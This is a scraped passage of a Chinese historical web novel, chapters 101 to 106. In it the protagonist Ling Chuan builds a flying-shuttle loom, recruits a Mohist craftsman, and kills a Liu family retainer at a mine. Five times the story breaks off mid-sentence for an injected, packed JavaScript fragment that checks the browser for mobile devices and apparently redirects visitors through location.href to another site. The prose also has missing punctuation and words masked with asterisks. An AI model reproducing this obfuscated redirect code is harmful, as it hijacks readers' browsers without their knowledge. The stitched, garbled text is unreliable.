这三套铠甲是凌川将前世记忆中,历朝历代铠甲优点进行融合,放在当世,绝对是无敌的存在,唯一的缺点就是制作成本太高,与刘晏粗略估计了一下,就算是工艺最简单的步甲都得一百两银子以上。 最复杂也是最昂贵的重甲,一套得将近三百两银子,这还是抛开人工费的情况下。 以他现在的家底,根本实现不了全员满甲,而且,这个东西,制作起来的难度也非常高。 好在,这一次谢知命帮忙找的匠人手艺都很不错。 而且,随着范颉等人到周围城镇推销酒水的时候顺带张贴聘文,不少手艺精湛的匠人都问询而来,毕竟,凌川开除的工价比市面上高了整整一倍。 紧接着,他又设计了一款战刀,其样式尺寸与自己现在佩戴这把差不多,不过,只要求对铁胚折叠十次锻打,可即便如此,也不是如今军中的战刀所能比,就算比起曾经威震四方的百炼刀,也要强不少。 第101章 飞梭纺织机! 第六日凌川让刘晏去购买一台织布机送到校尉府。 上次议事凌川便提到过要做布匹生意但并未展开细说刘晏也不知道具体事宜。 当凌川脑海中产生搞钱这个念头的时候他第一个想到的便是布匹。 如今老百姓的衣服大多为麻布制作棉布就已经是非常奢侈的布料了至于‘绫罗绸缎锦绣纱’那更是普通老百姓接触不到的东西。 加之北疆寒冷所以这一代盛产木棉。 但由于纺织技术有限织出来的棉布不仅质地稀疏而且厚薄不均导致棉布做的衣服不耐穿。 这不由让凌川想到了前世的飞梭纺织机这种纺织机相较于这个世界的纺织机并无太大差别只是在梭子里面装一套轮子却让纺织机发生了质的飞跃。 最主要的是飞梭纺织机相较于传统纺织机不仅在效率上提升了数十倍最主要的是织出来的布更紧密走纱更均匀布匹更为平整耐用。 凌川先是摸索了一下纺织机的结构原理然后便着手进行改装。 事实上改装难度比他想象中的要小很多不到半日时间便基本完成随着他踩动踏板梭子在纱线中来回飞穿令人眼花缭乱。 随后凌川又在测试过程中不断进行校准飞梭纺织机终于织出了第一匹棉布他兴奋地拿着棉布来到酒坊找苏璃让她评判。 苏璃接过一看顿时惊呼道:“相公 很快苏璃便发现了异常“不对这并非锦缎而是棉布!” 只见她猛然起身满脸震惊地问道:“这世上竟有人能把棉布织得如此密集平整谁这么厉害?” 凌川似笑非笑地看着她说道:“娘子不妨猜一猜这是谁织的!” 苏璃何等聪慧娇笑道:“我猜必是一位心灵手巧的小娘子如此奇女子我定要帮相公收了她!” 凌川瞪了她一眼苏璃害怕地吐了吐舌头说道:“好了好了奴家知道这是相公的杰作!” “不过我家相公眉目英朗、气质卓绝谁家女子见了不心生仰慕?远的不说就咱们酒坊那些小姐妹不少人都在偷偷瞄你呢!”苏璃挽着凌川的手打趣道。 “我来是跟你说正事的!”凌川连忙岔开话题说道:“我带你去看个东西!” 拉着苏璃回到校尉府后院只见一架纺织机静静摆在那里还有半匹没织完的棉布。 “相公你什么 时候迷上女红了?连纺织机都搬家历来了。”苏璃诧异问道。 “这与普通的纺织机可不一样,来我教你!”凌川将苏璃带到跟前,教她如何通过脚踏板控制。 苏璃以前是用过纺织机的,加上这台飞梭纺织机织是在普通纺织机上进行改装,保留其原有结构的情况下,操作起来也更为简单,苏璃很快便能上手, “哇!天呐,简直不敢相信,这纺织机织竟然能将棉布织得这么细密平整,而且,这纺织速度也太快了吧,估计一天就能出一匹布!”苏璃将那半匹棉布捧在手里,内心早已震惊到了极点。 很快,苏璃便从中嗅到了商机,棉布之所以贵,主要是因为纺织起来太慢,再则棉布不耐用,可现在有了这飞梭纺织机,就算每天出一匹布,也比传统纺织机快了将近十倍,最主要是,这棉布的质地虽比不上锦缎,但比市面上的棉布耐穿太多。 北疆寒冷,对于普通老百姓而言,棉布远比贵得吓**的绫罗绸缎更实用。 “现如今,市面上的棉布是五两银子一匹,咱们这布就算卖十两银子,也绝对物超所值!”苏璃信心十足地说道。 然而,凌川却摇了摇头,说道:“我准备卖三两银子一匹!” “三两银子?”苏璃满脸不解。 凌川看着她,说道:“我要让所有百姓都穿得起棉衣!” 听闻此言,苏璃眼底闪过一抹钦佩之色,若是天下商人都有这份胸襟和担当,老百姓的日子一定好过很多。 “我立马让木匠做五台飞梭纺织机出来,娘子也从那些女子当中选一些手巧的人来织布!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15948017|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏璃点了点头,说道:“相公放心,我心里有数!” 虽说这些女子是凌川所救,但,凌川并没有让她们给自己当免费劳动力,除了管吃管住,每月还会照发工钱。 不仅是她们,那些铁匠木匠也是一样,凌川开出的工钱比市面上高出将近一倍。 解决掉飞梭织布机,凌川再次将精力投用到兵甲领域。 这日,他将一叠草图交给周淮,交代道:“给那些木匠师傅们看一下,问他们谁能做!” 半个时辰之后,周淮返回,说道:“校尉大人,刚刚问过所有木匠师傅,其他人都表示图纸过于潦草,做不了,只有一个名为黑土的木匠说能做!” “哦?”凌川眼神中闪过一抹意外之色,问道:“劳烦周老哥去把人请过来!” “我已经叫过来了,就在门外!”周淮说道。 “快请他进来!” 很快,一名身着青衫,头梳发髻,留着山羊胡的中年男子迈步走了进来。 此人约莫四十来岁,双鬓两撮白发异常醒目,虽然他名叫黑土,可整个人一点也不黑,特别是那双手,十指白皙修长,比很多女人的手还要好看。 “草民黑土,见过校尉大人!”来人对着凌川躬身行了一礼。 凌川示意他不必多礼,“不必多礼,请坐!” 紧接着,翠花便出来上茶,当男子看到翠花那‘巍峨’身形的瞬间,眼神中闪过一丝惊骇之色。 “周淮老哥说,你能做这个东西?”凌川指了指摆在面前那一叠草图,问道。 黑土点了点头,问道:“敢问校尉大人,这**是何人发明?” 凌川闻言顿时一惊,这图纸上确实是一把**,只不过,凌川是将每一个部件都拆开了画出来的,而且还故意画得潦草,交给他们的图纸也少了两个部位,这不仅仅是对那些木匠的考验,也是为了保密起见。 可眼前这中年男子却通过残图看出这是一把**,让凌川内心十分诧异。 第102章 墨家弟子! “黑土师傅认得这东西?凌川很是好奇地问道。 要知道,自己所画的匣子**乃是从前世的诸葛连**演变而来,是这个世界根本没有的东西,他不相信对方见过。 “启禀校尉大人,小人祖上世代都是木匠,我从小便接触各种奇门机关和榫卯机括,这图纸虽潦草,而且还少了两个关键部位,但小人也能大致推测出它的全貌!中年男子声音平静,眼神之中带着常人所不具备的沉稳。 这让凌川敏锐察觉到,眼前这中年男子绝非一般人。 “黑土不是你的真名吧?敢问先生大名!凌川目光深沉,看着他问道。 男子神色微变,但还是如实回答道:“在下墨巡! 听到这个姓氏,凌川神色顿时一变,脑海中顿时闪现出前世古代一个神秘而强大的组织——墨家! “墨家?凌川强压着内心的震惊,试探着问道。 墨巡眼神中也闪过一丝异色,笑道:“想不到校尉大人还知道墨家,不错!我正是墨家第七代弟子! 果真是墨家! 凌川内心的激动跃然脸上,他没想到神秘的墨家竟然真的存在,更没想到这云岚县城竟然有一位墨家弟子。 他很好奇,墨家是不是如传说中的那般神秘而强大,更想不明白,对方既是墨家弟子,为何会出现在这小小云岚县。 “先生即为墨家弟子,想必这把**,对你而言不难吧?凌川重新取出一份图纸递给墨巡。 这份图纸显然要工整得多,而且,每一个零件都标明了尺寸。 后者接过图纸简单看了一遍,眼底浮现出一抹震惊之色。 他简直不敢相信,这天底下除了墨家弟子之外,还有人能设计出如此精妙的**,就算以他的眼光来看,都堪称精巧绝妙。 墨巡又哪里知道,这把**是凌川前世古代一位天才所创,名为诸葛连**,后世后历经多次改进,被称之为匣子**。 “能做,但我想知道,这是何人设计的!墨巡问道。 凌川淡然一笑,问道:“先生为何就不相信这是我设计的? “不是不信,只是想求证一下!墨巡看着凌川,继续说道:“两个月前,我听说狼烽口出现了一把造型怪异的木弓,于两百五十步之外一箭破甲,射杀胡羯主将穆尔扎,我便想要见识一下! “可我赶到狼烽口的时候,听说校尉大人已经带兵来了云岚县,我便一路跟了过来!墨巡继续说道。 凌川点了点头,他正好奇,堂堂墨 家弟子,怎么会甘心来到自己军营中当一个木匠,原来对方是奔着自己来的。 “先生若是想见我,直接让人带话即可,何须这般麻烦?”凌川说完,径直走进里屋,将自己的破甲弓和铁箭都取了出来,放到桌上。 墨巡先是拿起破甲弓仔细打量一番,随后又从箭壶之中取出一支破甲箭反复观看。 “嘎吱……” 只见他弯弓搭箭拉至满弦,不过没有将箭射出去,而是缓缓松开弓弦,说道:“我曾怀疑,你是墨家新一代弟子,现在看来,并不是!” 凌川好奇笑问道:“先生为何这般确信?” 墨巡淡然笑道:“这弓的设计确实精巧,但做工粗糙,选材也毫无讲究,绝非出自墨家弟子之手!” 此言一出,顿时让凌川为之汗颜。 确实,自己虽然依照**复刻出了破甲弓,但在木工领域,终究是个外行。 紧接着,墨巡摩挲着箭镞之上的三道矢锋,说道:“这是用胡羯人的铁箭改造而成,但改造之人绝对是一位行家!” “果真是什么都瞒不过先生!”凌川笑道。 随即,凌川再次看着墨巡,问道:“先生已经找到了自己的答案,是要准备离去了吗?” 墨巡也看着凌川,意味深长地问道:“校尉大人难道不想把我留下来帮你做事?” “墨家机关术威震天下,每一位墨家弟子都是举世难寻的能工巧匠,无论到任何地方,都会被奉为座上宾,若先生能留在军中,那是我凌川的荣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15948018|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幸,更是北系军的大幸!”凌川一脸真诚地说道。 “校尉大人过誉了,我不过是一个木匠而已,没你说的那么玄乎!”墨巡大笑道,随即再次看着凌川说道:“若是校尉大人想要强行留下我,我定然走不掉!” “先生未免太小看我凌川了,我敬重先生的才能,也确实希望先生能留在军中效力,但还不至于用这种下作的手段!” “你真不留我?”墨巡看着凌川问道。 “我自然希望先生留下来,但先生的去留当由你自己决定,若先生执意要走,我定会奉上盘缠马匹,送先生出城!”凌川满脸真诚地说道。 墨巡捋了捋青须,眼神中带着钦佩与赞许,小小年纪却有如此胸襟,此子绝非池中之物。 “看来是我以小人之心度君子之腹了,墨巡愿留在校尉帐下,效犬马之劳!”墨巡躬身抱拳,对着凌川行了一礼。 凌川连忙将其扶住,说道:“先生切不可行此大礼,应当是我感谢先生才对!” 随即二人再次落座,墨巡开口说道: “我墨家历代弟子皆遵祖训,盛世隐居潜研技艺,乱世出山救国济民!如今北疆边境吃紧,百姓年年受胡贼侵扰,我墨家子弟岂能坐视不管。” “先生大义!”凌川发自内心的钦佩。 然而,墨巡却是轻叹了一口气,说道:“实不相瞒,我到北疆转了一圈,发现偌大的北系军,竟然找不出几块硬骨头,着实令人失望!” 墨巡端起茶杯浅饮了一口,继续说道:“正当我准备离开之际,便听说你在狼烽口射杀穆尔扎的消息,之后对你率领一千死字营军奴大破敌军也很是震惊!” “先生谬赞,我只是不想看到这锦绣山河遭受践踏,黎民百姓被屠戮而已!”凌川感叹道。 “若北系军将领人人如校尉这般想,胡羯人岂敢犯我边境?”墨巡顿了顿,继续说道:“其实,我选择留下来还有一个原因,那就是为墨家清理门户!” 凌川神色一凝,愕然问道:“清理门户,此话何解?” 第103章 唯手熟尔! “校尉可曾想过胡羯人一个马背上发迹的民族为何近几十年在兵甲锻造、城池修建乃至攻城器械方面突飞猛进?”墨巡看着他问道。 尽管凌川已经猜到一二但还是摇了摇头。 “那是因为我们墨家出了叛徒带着一帮人逃到了胡羯帮助他们攻打大周北疆!”墨巡沉声说道。 “当年老师最得意的那位弟子莫名消失这几十年来墨家一直在追查他的下落却依然是杳无音信直到两年前才查到一下蛛丝马迹他多半是去了胡羯!前不久狼烽口外出现投石车等攻城器械我们更加坚信了他的存在!” 凌川眉毛微挑不解地问道:“投石车不是大周叛将霍元青弄出来的吗难道他是墨家弟子?” 墨巡嗤之以鼻道:“霍元青一介莽夫他们父子虽曾在大周为将但以他们的脑子根本造不出投石车真正的高手另有其人!” 墨巡端起茶杯喝了一口继续说道:“我到狼烽口看过那几架投石车虽然被人改进过但依然有墨家手法的影子!” 凌川心中暗惊 “我之所以来云岚县一来是对你的破甲弓好奇二是听闻你的名声想要见一见这位北疆星秀平心而论我原本并未打算留在你帐下毕竟你的本钱太小了!”墨巡没有丝毫隐瞒直言相告。 凌川不由好奇问道:“那又是什么让先生决定留下来的?” 墨巡轻叹一声说道:“都说满朝重臣皆是一群蝇营狗苟之辈身居高位却只想着自己的一己私利我看这偌大的北疆也一样一个个手握重兵却只知道固步自封以至于边境连连失守山河破碎百姓遭劫!” 紧接着他看向凌川说道:“但你跟他们不一样你不仅文武兼备而且你心中有底线肩上有责任眼里有信仰胸中有乾坤!” 这毫无征兆的一顿夸让凌川都不好意思起来。 两人又聊了片刻墨巡起身告辞凌川连忙拿起图纸想要交给他墨巡笑了笑摆手道:“若是看了一遍图纸还做不出来我在外自称墨家弟子岂不是丢了墨家祖师的脸?” “那以后就多多仰仗先生了!”凌川抱拳道。 “校尉放心我一定竭尽全力倾尽毕生所学为将士们铸出坚甲利刃!”墨巡说完便转身离开。 凌川叫来周淮将墨巡的事情简单说了一遍。 周淮满脸震惊“他是 墨家弟子,我滴天呐……” “以后,墨巡先生的要求你需全力支持,不可过多限制!”凌川担心外行管内行的情况出现。 “校尉大人放心,这等能工巧匠,咱们巴不得当祖宗供起来,岂敢得罪!”周淮激动地说道。 显然,他也听说过墨家的大名,也变相说明了墨家弟子在世人心目中的崇高地位。 有墨巡相助,凌川顿时感觉压力小了很多。 就在这时,苍蝇将一封请帖递到凌川跟前:“校尉大人,刚刚天香楼的谢公子送来请帖!” 凌川这才意识到,自己来云岚县都十来天了,一直在潜心研发,告诉亲兵自己不见任何人,估计谢知命来拜访都被亲兵给挡了回去。 凌川打开请帖看了一眼,说道:“苍蝇,你去通知夫人,中午到天香楼赴宴!” “是!”苍蝇答应了一声快步离去。 这段时间,苍蝇已经将亲兵队组建完毕,在抽调人手的时候,各标都非常支持,毕竟那是凌川的亲兵队,在战场上是要给凌川挡刀挡箭的,实力和忠诚度缺一不可。 而且,亲兵队要保护的人可不仅仅是凌川一个,还有扛纛者许大牛,他们既是亲兵队,又是护旗队! 原本有人推荐聂星寒担任亲兵队队长,可聂星寒却说他管不了人,也做不了官。 事实上,像聂星寒这样的神射手,若是让他带兵,反而会让他的箭术打折扣,就应该让他在战场上心无旁骛、自由发挥。 这段时间,聂星寒除了日常操练之外,几乎都待在靶场练箭,这家伙也真是够狠,每次都要射完足足一百支箭才停 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15948019|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手。 要知道,他用的可是铁胎弓,整个云岚县军中,除了他便没有第二个人能将其拉开,哪怕是号称臂力无双的许大牛也不行。 就连唐岿然、轩辕孤鸿和洛青云这几位实力过硬的猛将,也都尝试过聂星寒的铁胎弓,可无一人能拉至满弦。 每次聂星寒练箭的时候,靶场周围都围满了观摩的士兵,每一支箭射中靶心,周围都会响起尖叫与呐喊。 不少人上前请教,可聂星寒从始至终都只有四个字——唯手熟尔! 中午时分,凌川与苏璃出现在天香楼,身后跟着苍蝇带领了几名亲兵,原本凌川是不想如此招摇的,可苍蝇却郑重其事地说,如今云岚县形势复杂,他们得对校尉和夫人的安全负责。 凌川拗不过他,只能让他带人跟着,但有一个条件,最多带五个人。 进入天香楼,谢知命便热情地迎了上来。 “校尉大人,可算是把你盼来了!” 听到这个称呼,凌川已经猜到了大概,估计是谢知命几次去见自己都碰壁回来,让他生出了别样的想法。 “我近段时间实在是太忙了,便吩咐手下人不见客,不曾想将谢兄给挡在门外,还请见谅!” 听他这么一解释,谢知命顿时松了一口气。 “凌兄军务繁忙,理解!”谢知命热情将二人领到楼上雅间。 很快,一桌丰盛菜肴摆满了桌子,谢知命端起酒杯,起身道:“二位光临,天香楼蓬荜生辉,我敬两位!” 苏璃不善饮酒,但还是用袖口挡住酒杯,浅饮了一小口。 谢知命是实打实的读书人,言谈举止都带着书生气息,二人相谈甚欢,苏璃则是全程安**在一旁。 “最近福临门怎么样?可曾来生事?”凌川问道。 “他们自从上次派人到后厨下毒,被翠花揍了一顿之后,福临门便彻底老实了,而且生意愈发惨淡,全程不见刘家人,皆是掌柜在打理!”谢知命回答道。 第104章 我再说一遍,放人! 二人畅谈畅饮。 “谢兄对孙县令知道多少?凌川轻轻放下酒杯,问道。 “孙文泰在云岚县任县令已有六七年了,一开始的时候,还多少为老百姓干些实事,可随着刘家逐步将其拉拢,如今早已是一个傀儡县令,甚至是刘家欺压百姓、疯狂敛财的帮凶! 凌川眼神之中闪过一抹冷意,说道:“刘家作威作福这么多年,他们的好日子也该到头了!至于孙县令,他身为地方父母官不为百姓着想,反倒是与地方豪强狼狈为奸为祸百姓,那这个县令就换一个人来做! 谢知命眼底闪过一丝惊色:“凌兄这是要对刘家下手了? 凌川笑了笑,没有正面回答。 如果说,此前他跟刘家只是私人恩怨的话,当得知刘家近些年的所作所为之后,刘家就已经是他必须除掉的对象了。 “我听闻,三日之后是刘家老爷子七十寿辰,届时,不光是云岚县,整个云州都有不少大人物会到场,据说,云州刺史贺临舟会亲自到场贺寿!谢知命透露道。 凌川神色微凝,“刘家与云州刺史有何瓜葛? “凌兄有所不知,刘家老爷子刘南庭的孙女便是嫁给了贺临舟的长子,两家乃是姻亲关系,也正是凭借这层关系,刘家才能踩着云岚县其他几家肩膀迅速崛起,成为云岚县第一大家族! 听闻此消息,凌川若有所思,说道:“难怪最近刘家没有丝毫动静,感情是在憋大招呢! 得知这一消息后,凌川严重怀疑,刘家承包铁矿,以此谋取私利这背后远不是自己看到的那么简单。 甚至,章俊贩卖人口与兵甲这件事情,刘家极有可能是重要一环,因为,迄今为止,凌川也没有查出那支商队的任何踪迹,这不由让他怀疑到刘家。 “我怀疑,刘家会借着这次寿宴对你发难,凌兄不可不防啊!谢知命提醒道。 凌川点了点头,意味深长地道:“既然是寿宴,那我理当准备一份寿礼,不然显得咱不懂礼数! 就在这时,苍蝇快步跑了进来,凑到凌川身边耳语几句,凌川听完神色微变,起身说道:“谢兄,这酒也喝得差不多了,我还有些琐事要处理,就先告辞了! 谢知命也没多问,连忙起身相送:“知道凌兄公务繁忙,我就不挽留了! 大门外,凌川转身对谢知命说道:“若有朝一日,需要谢兄为百姓出力,还望谢公子不要推辞! 谢知命眼底闪过一丝错愕,不由想到第一次与凌川在自己书房的谈 话。 “若真有那一天,谢某哪怕是肝脑涂地,也不负十年苦读!”谢知命笑着回应道。 凌川带着苏璃坐上了马车,苍蝇充当起了车夫,回到军营,刘晏已经等候多时。 “说说什么情况!”凌川直接开口问道。 “校尉大人,送往其他城镇的酒被人劫了!”刘晏阴沉着脸说道。 “知道谁劫的吗?” 刘晏摇头道:“据回来的人说,是马匪干的,但北疆的马匪早就被清剿干净,属下怀疑,多半跟上次一样……” “是刘家干的!”凌川直接给出答案,随即又问道:“损失了多少酒?可有人员伤亡?” “损失了五百来斤酒,三人死亡,其余个个带伤!”刘晏回答道。 听到这个结果,凌川眼神中顿时闪过一抹杀机,倒不是心疼酒,而是刘家竟然敢杀他的人。 “刘家终于忍不住要出招了吗?”凌川嘴角勾起一抹冷笑,眼神之中善意弥漫。 一名士兵满脸慌张地跑了进来,说道:“校尉大人,刚刚咱们上山挑水的民夫被刘家给扣了!” 近期,凌川让刘晏招了不少人,其中男女都有,男的做一些体力活,女子则是帮忙酿酒或是织布。 “苍蝇!”凌川冷喝一声。 “属下在!” “集结亲兵队,随我去矿山!” “是!”苍蝇回应了一声,迅速去通知亲兵队。 片刻之后,凌川带着五十亲兵快马离开军营,直奔虎头峰山脚而去,由于刘家采矿污染了水源,只能安排民夫到矿山上游去挑水下来酿酒,这样十分耗费人力,而且,并不能解决根本问题。 毕竟,整个云岚县城的百姓,都得喝水。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15948020|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 想要从根本上解决问题,只有一个办法,那就是解决掉刘家。 “驾……” 五十余骑一路狂奔,虽无法达到千军万马的气势,但依旧不失威武。 军营距离虎头峰山脚的矿区并不是很远,而且,为了方便矿石运输,沿途道路十分宽敞,哪怕是十骑并驾齐驱也不显拥挤。 不到一刻钟的时间,凌川等人便抵达矿区。 高高的石墙将整座矿区给围了起来,只有一座由一根根圆木做成的大门,有点类似军营的辕门,上方还插着一面绣着‘劉’字的旗帜。 “区区一个地方恶霸,也敢竖旗!”凌川冷声说道。 “咻!”话音刚落,一道破空声传来。 只见那大门上方的旗杆直接被一支铁箭 折断,旗帜掉落下来。 出手之人正是聂星寒。 “谁敢在此撒野?” 一声暴喝传来,只见一群手持棍棒的壮汉从大门内涌出,一名满脸横肉的壮汉,肩扛一把环首大刀从人群中走到前方。 “哟!原来是校尉大人,有失远迎,恕罪恕罪!”男子装腔作势一番抱拳,可眼神中却满是倨傲之色,丝毫没把凌川以及他身后这五十余骑放在眼里。 “你是这里领头的?”凌川看了他一眼,冷声问道。 那名壮汉昂首笑道:“在下刘武,敢问校尉大人有何指教?” 凌川也懒得跟他废话,直接问道:“把我的人放了!” 刘武满脸茫然,摊手道:“校尉大人是不是搞错了?这儿只有我刘家的矿工,校尉大人要是想找乐子,怕是找错地方了!” “哈哈哈哈……” 刘武此言一出,顿时引得身后哄堂大笑。 “唰唰唰……” 一道道寒芒闪过,亲兵队战刀出鞘,凌冽杀机宛如潮水一般席卷开来。 刘家一众家丁的笑声戛然而止,他们才意识到,自己面对的是一群从战场上走下来的战兵,而非他们这等乡野莽夫。 “我再说一遍,放人!”凌川的声音宛如刀锋一般,冰冷刺骨。 第105章 一时刀快! 饶是刘武也知道,此时的凌川不可触怒,连忙赔笑道:“校尉大人,我真没看到你的人,这样,我帮你问问,要是回头找到了,定会亲自给你送回来,你看怎么样? 凌川端坐马背之上,凝视着他,问道:“你觉得,我很好糊弄吗? 不等刘武说话,凌川再次开口道:“半炷香之内,若是看不到我的人,就别怪我的刀不长眼了! 这一刻,刘武是真真切切地感受到了凌川眼神中的杀意,他转身喝问道:“谁特么不长眼,抓了凌校尉的人? 一名刘家嫡系目光闪烁,上前说道:“三爷,上午我带人巡查矿山的时候,发现一群人在矿区外鬼鬼祟祟,便带回来盘问一下,没想到是凌校尉的人! “啪! 刘武直接一耳光扇在他脸上,喝道:“不长眼的东西,连凌校尉的人你也敢抓,你找死啊? 那人捂着脸,哭丧道:“三爷,我真不知道那是凌校尉的人,要不然借我十个胆子也不敢啊! 刘武又是一脚将其踹倒在地,问道:“人呢? “在,在里面呢!那名刘家嫡系捂着脸回答道。 “还不赶紧去请出来! 凌川全程看着他们演戏,仿佛就是一个局外人。 很快,十多名挑水的民夫一瘸一拐地走了出来,有的胳膊吊着,有的瘸了腿,有的满脸淤青…… 看到凌川的那一刻,这些民夫无不心生感动,眼含泪水,他们没想到,凌川竟然会带人来救他们。 仿佛受了欺负的小孩见到了父母,喊道:“校尉大人! 见到他们的惨状,凌川怒从心起,问道:“告诉我,怎么回事? “校尉大人,我们跟往常一样到上面挑水,结果刚一到,他们便带人冲上来,不由分说给我们一顿打,随后还把我们抓到里面关起来!一位民夫满脸委屈地说道。 凌川扫了刘武等人一眼,强压着怒火,继续问道:“你们可曾讲明,是给我做事? “怎么没说?我们说是给校尉大人让我们来打水,结果他们下手更狠了,还说……那位满脸淤青的民夫看了凌川一眼,没敢继续往下说。 “还说什么?凌川追问。 “还说,就算是校尉大人亲自来了,他们也一样打!那民夫小声说道。 凌川再次转过目光看向刘武等人,嘴角勾起那一抹冷笑令人头皮发麻。 “你记得是谁说的吗?凌川 又对民夫问道。 那民夫目光躲闪,显然充满了畏惧,凌川见状开口说道:“你大胆说,我保证,没有人敢把你怎么样!” 得到凌川的保证,那位民夫才抬起目光看向刘家人群,可当他看到刘武那凶狠的目光之时,再次低下了头。 苍蝇见状,直接抬起战刀,指向对方,喝道:“**瞅啥呢?信不信老子把你眼珠子抠出来喂狗?” “大哥你别怕,你只要告诉我是谁就行了!”苍蝇收起凶狠之色,对那名民夫说道。 “是,是他!”那位民夫指了指人群中,刚刚被刘武揍的那名刘家嫡系。 那名刘家嫡系眼神躲闪,下意识要往人群里躲,就在此时,凌川冷漠的声音响起: “带过来!” 苍蝇翻身下马,独自一人提着刀朝对方走去。 来到刘家队伍跟前,刘武却挡住了苍蝇的去路,就身形而言,苍蝇明显处于下风,可他在气势上却丝毫不弱。 他心里很清楚,自己作为亲兵队长,代表的是自家校尉大人的脸面。 面对刘武的拦路,苍蝇丝毫不怵,而是饶有兴致地抬起头看着刘武,问道: “是你自己让开,还是我踩着你的尸体过去?” 都说兵熊熊一个,将熊熊一窝。 跟在凌川身边这段时间,他们也潜移默化地被凌川身上那股霸道果决所影响,要是换做以往,苍蝇就算不怵对方,也不敢用这样的口吻和刘武说话。 听闻此言,刘武眼神中闪过一丝怒意,握着环首大刀的手臂更是青筋鼓起。 然而,当他感受到对面数十名士兵眼神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15948021|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中的杀意,以及他们手中战刀泛起的寒光之后,还是极不情愿地让到一边。 苍蝇不屑地扫了他一眼,随即直接走进人群,一把将那名刘家嫡系给揪了出来。 那名刘家嫡系顿时脸色铁青,刚要向刘武求救,然而,话还没出口,苍蝇手中的战刀便已经架在了他的脖子上。 那名刘家嫡系被带到凌川跟前。 “砰!” 还没站稳,身后的苍蝇一脚踹在他的腘窝,男子当场跪地,正要起身,结果那把冰冷的战刀已经再次架在他的脖子上。 “你敢起来,老子就宰了你!”苍蝇冷漠的声音自身后传来。 凌川坐在马背上,居高临下地看着他,问道:“你说,就算我来了,也一样打?” 男子只感觉头皮发麻,脊背生寒,颤声道:“校尉大人,小人,小人只不过是一时口快,绝无冒犯之意……” “噗……” 一抹鲜血飞溅而起,凌川一刀斩下,那名男子的脑袋应声滚落,无头尸体倒在地上,脖颈处不断喷血。 “嘶……” 现场顿时响起一片倒吸凉气的声音。 哪怕是刘武也没想到,凌川竟然当众**,从头到尾连眼睛都没眨一下,如此雷霆手段,让他瞬间慌了神。 原本,刘武以为凌川带人前来兴师问罪,也不过是摆摆架子,耍耍威风,未必真敢动手。 毕竟,刘家雄踞云岚县这么多年,近些年更是一举成为首屈一指的第一大家族,他凌川虽为云岚校尉,但不过是一个外来户,但凡有点脑子都明白,不能得罪刘家。 “凌川,你,你竟敢**……” 凌川任由长刀之上的长刀滴落,抬起目光看向刘武,淡漠地说道:“我也没有冒犯之意,只不过是一时刀快!” 对方刚才说‘一时口快’,而凌川则是回应‘一时刀快’,让一众刘家人从他平静的语气中感受到了冷漠与霸道。 紧接着,凌川再次将目光看向对方人群,问道:“都还有哪些动手了,全部带过来!” 第106章 土鸡瓦狗! “都有哪些动手了,全部带过来!” 此言一出,现场的气氛瞬间跌至冰点,刘家众人满脸恐惧,下意识就要后退,而这十几位民夫更是还没从震惊中回过神来。 他们原本想着,校尉大人能把他们救回去,就已经是感激涕零了,至于为他们报仇出气,更是不敢奢望。 谁曾想,凌川竟然为了他们杀刘家的人,而且还是杀刘家嫡系。 “大人,要不算了吧,咱们也没什么大事……”一名年长的民夫小心翼翼地对凌川说道。 “老哥,你不用怕,你们是给我做事,谁欺负你们,那就是在打我凌川的脸!” 